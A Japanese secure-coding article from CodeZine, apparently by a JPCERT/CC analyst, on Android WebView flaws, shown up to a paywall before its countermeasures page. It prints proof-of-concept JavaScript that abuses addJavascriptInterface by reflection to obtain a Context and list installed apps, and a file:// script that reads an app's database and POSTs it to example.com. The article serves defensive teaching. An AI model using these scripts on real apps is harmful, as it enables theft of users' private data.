SHOEISHA iD

※旧SEメンバーシップ会員の方は、同じ登録情報(メールアドレス&パスワード)でログインいただけます

CodeZine編集部では、現場で活躍するデベロッパーをスターにするためのカンファレンス「Developers Summit」や、エンジニアの生きざまをブーストするためのイベント「Developers Boost」など、さまざまなカンファレンスを企画・運営しています。

Javaセキュアコーディング入門

スマートフォンアプリへのブラウザ機能の実装に潜む危険
――WebViewクラスの問題について

Javaセキュアコーディング入門(6)

  • このエントリーをはてなブックマークに追加

 AndroidではWebViewというクラスを使うことでWebブラウザの機能を持ったアプリケーションを簡単に作ることができますが、使い方を誤ったり、仕様をよく把握していなかったりすると、思わぬ脆弱性を作りこんでしまいます。本稿では具体例とともに、その予防方法を解説します。

  • このエントリーをはてなブックマークに追加

はじめに

 AndroidにはWebViewと呼ばれるクラスが用意されています。簡易的なブラウザの機能を提供しているクラスで、URLを渡してHTMLをレンダリングさせたり、JavaScriptを実行させたりすることができます。内部ではWebKitを使用しておりAndroidの標準ブラウザと同じような出力結果を得ることができるため、このクラスを使用することで簡単にWebブラウザの機能を持ったアプリケーションを作成できます。

 しかし、その簡単さ故、使い方を誤ったり仕様をよく把握していなかったりすると、脆弱性の元になります。今回はこのWebViewクラスの使い方に起因する脆弱性について見ていくことにしましょう。

WebViewクラスとJavaScript

 WebViewクラスを使用した場合、注意しなければならないのはJavaScriptを有効にした場合です。デフォルトではJavaScriptの機能は無効にされていますが、WebSettings#setJavaScriptEnabledで有効にすることができます。

addJavascriptInterfaceについて

 WebViewクラスにはJavaScriptからJavaのメソッドを呼び出せる仕組みが用意されています。WebView#addJavascriptInterfaceがそれにあたります。例えば、以下のようなクラスがあるとします。

public class SmsJSInterface implements Cloneable {
    private Context mContext;
    
    public SmsJSInterface(Context context) {
        mContext = context;
    }
    
    public void sendSMS(String phoneNumber,
            String message) {
        SmsManager sms = SmsManager.getDefault();
        sms.sendTextMessage(phoneNumber, null,
                message, null, null);
    }
}

 sendSMSメソッドでSMSを送信できるようなっています。このクラスをWebView#addJavascriptInterfaceでJavaScriptとバインドします。

webView = (WebView) findViewById(R.id.demoWebView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new SmsJSInterface(this),
        "smsJSInterface");

 これでsmsJSInterfaceという名でJavaScriptのインターフェースが作成されます。下記のようにHTMLファイルにJavaScriptを記述することで、先ほどのクラスに実装されているsendSMSメソッドを呼び出すことができます。

<script type="text/javascript">
    function send() {
        smsJSInterface.sendSMS('123456789', 'Hello');
    }
</script>

 このようにWebView#addJavascriptInterfaceを使用すると、HTMLファイルからJavaScriptを通して端末の豊富な機能を呼びだしたり、端末の情報を取得したりすることが可能になります。しかし、もしこのようにJavaScriptのインターフェースが実装されたアプリケーションがあるとして、誰でもどこからでも使用できるようになっていたとしたら、悪意の持ったWebサイトに誘導しそのサイトを表示したと同時にSMSを勝手に送信するなどして、好き放題できてしまいます。

 また、先のサンプルのSmsJSInterfaceクラスでは、コンストラクタでContextを取得するようになっていますが、次のようにHTMLファイル内のJavaScriptから、このContextを取得することもできてしまいます。

<script type="text/javascript">
    var myclass = smsJSInterface.getClass();
    var myfield = myclass.getDeclaredField('mContext');
    myfield.setAccessible(true);
    var mycontext = myfield.get(smsJSInterface);

    document.write(mycontext);
</script>

 Contextが取得できると、例えば次のように端末にインストールされているアプリケーションの一覧を取得したり、Context#getClassLoaderを使用して該当するアプリケーションがロード可能なクラスを読み込んだりできてしまいます。

<script type="text/javascript">
    var myclass = smsJSInterface.getClass();
    var myfield = myclass.getDeclaredField('mContext');
    myfield.setAccessible(true);
    var mycontext = myfield.get(smsJSInterface);
    var mypackagemanager = mycontext.getPackageManager();
    var list = mypackagemanager.getInstalledApplications(8192);
    
    for (var x = 0; x < list.size(); x++) {
        document.write("<br />");
        document.write(list.get(x));
        document.write("<br />");
    }
</script>

 このaddJavascriptInterfaceを使用したサンプルコードではContextを保持しているだけで使用していません。将来なにかしら拡張するためにContextを取得しているつもりかもしれませんが、このように不用意にContextを保持していると、JavaScriptからも取得できてしまいます。

 各調整やメンテナンスを考えることは重要ですが、安易に使わない機能を盛り込むべきではありません。

fileプロトコルについて

 URLを受け取りWebViewクラスを使用してそのURL先を表示するような機能を実装している場合、fileプロトコルの取り扱いに注意する必要があります。

 例えば、パッケージ名がcom.example.appというアプリケーションがそのような実装を行っているとします。また下記のJavaScriptを含むHTMLファイルを外部ストレージなど他のアプリケーションがアクセスできる場所に設置します。このHTMLファイルのURLを対象となるアプリケーションに渡すとどうなるでしょう。

<script type="text/javascript">
    // ローカルのファイルを取得
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.open("GET", "file:///data/data/com.example.app/databases/webview.db", false);
    xmlhttp.send(null);
    var str = xmlhttp.responseText;
    document.write(str);

    // ファイルを外部に送信
    xmlhttp.open("POST", "http://www.example.com/post.php", false);
    xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp.send("r=" + str);
    var ret = xmlhttp.responseText;
    document.write(ret);
</script>

 そのアプリケーションのWebViewで使用しているDBファイルを取得し、外部サイトに送信できてしまいます。この問題については、セキュリティ情報関係のメーリングリストFull Disclosureで、いくつか実証コードがすでに公表されており、XMLHttpRequestを使用した方法以外にも、iframeを使用してアプリケーションが管理しているファイルを取得するといった方法も公表されています。

http://seclists.org/fulldisclosure/2012/Feb/111

 また、現在のバージョンではすでに修正されていますが、過去にクックパッドAndroid版やTwitRocker2 Android版、iLunascape for Androidといったアプリケーションで実際に同様な問題が見つかりました。

  1. XMLHttpRequestを使用してファイルを取得し外部に送信するようなJavaScriptを含んだHTMLファイルを作成
  2. 1のHTMLファイルを外部ストレージなどアクセスが制限されていないディレクトリに設置
  3. 2のURLを呼び出し元のアプリケーションにインテントで渡す

 この方法で、他のアプリケーションからこれらアプリケーションが管理しているファイルを取得することができてしまう脆弱性です。

会員登録無料すると、続きをお読みいただけます

新規会員登録無料のご案内

  • ・全ての過去記事が閲覧できます
  • ・会員限定メルマガを受信できます

メールバックナンバー

次のページ
対策

この記事は参考になりましたか?

  • このエントリーをはてなブックマークに追加
Javaセキュアコーディング入門連載記事一覧

もっと読む

この記事の著者

熊谷 裕志(JPCERTコーディネーションセンター)(クマガイ ヒロシ(JPCERTコーディネーションセンター))

情報セキュリティアナリスト JPCERTコーディネーションセンターベンチャ企業にてWEBサイトのデザインやシステム開発、Androidアプリケーションの開発などに従事したのち、2011年4月よりJPCERTコーディネーションセンターにて、脆弱性情報の分析やセキュアコーディングの普及活動に携わってい...

※プロフィールは、執筆時点、または直近の記事の寄稿時点での内容です

この記事は参考になりましたか?

この記事をシェア

  • このエントリーをはてなブックマークに追加
CodeZine(コードジン)
https://codezine.jp/article/detail/6618 2012/06/25 14:00

おすすめ

アクセスランキング

アクセスランキング

イベント

CodeZine編集部では、現場で活躍するデベロッパーをスターにするためのカンファレンス「Developers Summit」や、エンジニアの生きざまをブーストするためのイベント「Developers Boost」など、さまざまなカンファレンスを企画・運営しています。

新規会員登録無料のご案内

  • ・全ての過去記事が閲覧できます
  • ・会員限定メルマガを受信できます

メールバックナンバー

アクセスランキング

アクセスランキング